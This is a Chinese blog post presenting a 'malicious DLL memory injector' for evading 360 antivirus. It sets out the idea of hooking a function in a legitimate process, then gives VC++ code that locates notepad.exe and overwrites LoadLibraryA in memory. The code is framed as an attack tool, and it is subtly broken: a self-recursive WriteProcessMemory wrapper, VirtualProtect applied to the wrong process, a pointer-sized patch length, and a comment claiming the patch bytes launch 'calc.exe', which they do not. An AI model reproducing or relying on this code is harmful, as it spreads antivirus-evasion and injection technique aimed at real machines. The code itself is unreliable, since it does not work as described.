躲避360杀软DLL恶意注入记仇2

2023-12-04 09:42:48

引言
近年来，恶意dll注入技术已成为黑客攻击的重要手段之一。其原理是将恶意代码注入到合法进程的内存空间中，使其在合法进程的保护下运行，从而绕过安全软件的检测。本文将详细介绍如何实现恶意dll内存插入器，并演示如何使用它来注入恶意代码。

思路分析

恶意dll内存插入器的基本思路如下：

启动目标进程，并使用内存调试软件对其进行调试。
找到想要hook的函数，并将其内存地址转为可以通过程序主dll可以获得的相对地址。
在相对地址处插入自己的恶意汇编代码。
如果恶意代码比较复杂，还需要编写寄存器保护逻辑，避免自己的恶意代码修改了寄存器中的值后，程序正常的逻辑运行出现异常。

代码实现

以下是在VC++中实现恶意dll内存插入器的代码：

#include <Windows.h>
#include <TlHelp32.h>

void FindProcess(LPTSTR processName, DWORD* processId)
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
    {
        return;
    }

    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnapshot, &pe))
    {
        do
        {
            if (lstrcmpi(pe.szExeFile, processName) == 0)
            {
                *processId = pe.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnapshot, &pe));
    }

    CloseHandle(hSnapshot);
}

HANDLE OpenProcessMemory(DWORD processId, DWORD dwDesiredAccess)
{
    HANDLE hProcess = OpenProcess(dwDesiredAccess, FALSE, processId);
    if (hProcess == NULL)
    {
        return NULL;
    }

    return hProcess;
}

BOOL WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, DWORD nSize, LPDWORD lpNumberOfBytesWritten)
{
    BOOL bRet = WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten);
    if (bRet == FALSE)
    {
        return FALSE;
    }

    return TRUE;
}

BOOL PatchFunction(DWORD processId, LPVOID lpFunctionAddress, LPVOID lpPatchCode, DWORD dwPatchSize)
{
    DWORD dwOldProtect;
    HANDLE hProcess = OpenProcessMemory(processId, PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE);
    if (hProcess == NULL)
    {
        return FALSE;
    }

    if (VirtualProtect(lpFunctionAddress, dwPatchSize, PAGE_EXECUTE_READWRITE, &dwOldProtect) == FALSE)
    {
        CloseHandle(hProcess);
        return FALSE;
    }

    if (WriteProcessMemory(hProcess, lpFunctionAddress, lpPatchCode, dwPatchSize, NULL) == FALSE)
    {
        VirtualProtect(lpFunctionAddress, dwPatchSize, dwOldProtect, &dwOldProtect);
        CloseHandle(hProcess);
        return FALSE;
    }

    VirtualProtect(lpFunctionAddress, dwPatchSize, dwOldProtect, &dwOldProtect);
    CloseHandle(hProcess);
    return TRUE;
}

int main()
{
    DWORD processId;
    FindProcess(TEXT("notepad.exe"), &processId);

    LPVOID lpFunctionAddress = GetProcAddress(LoadLibrary(TEXT("kernel32.dll")), "LoadLibraryA");
    LPVOID lpPatchCode = "\x68\x64\x00\x00\x00"; // 将LoadLibraryA的第一个参数改为"calc.exe"
    DWORD dwPatchSize = sizeof(lpPatchCode);

    PatchFunction(processId, lpFunctionAddress, lpPatchCode, dwPatchSize);

    return 0;
}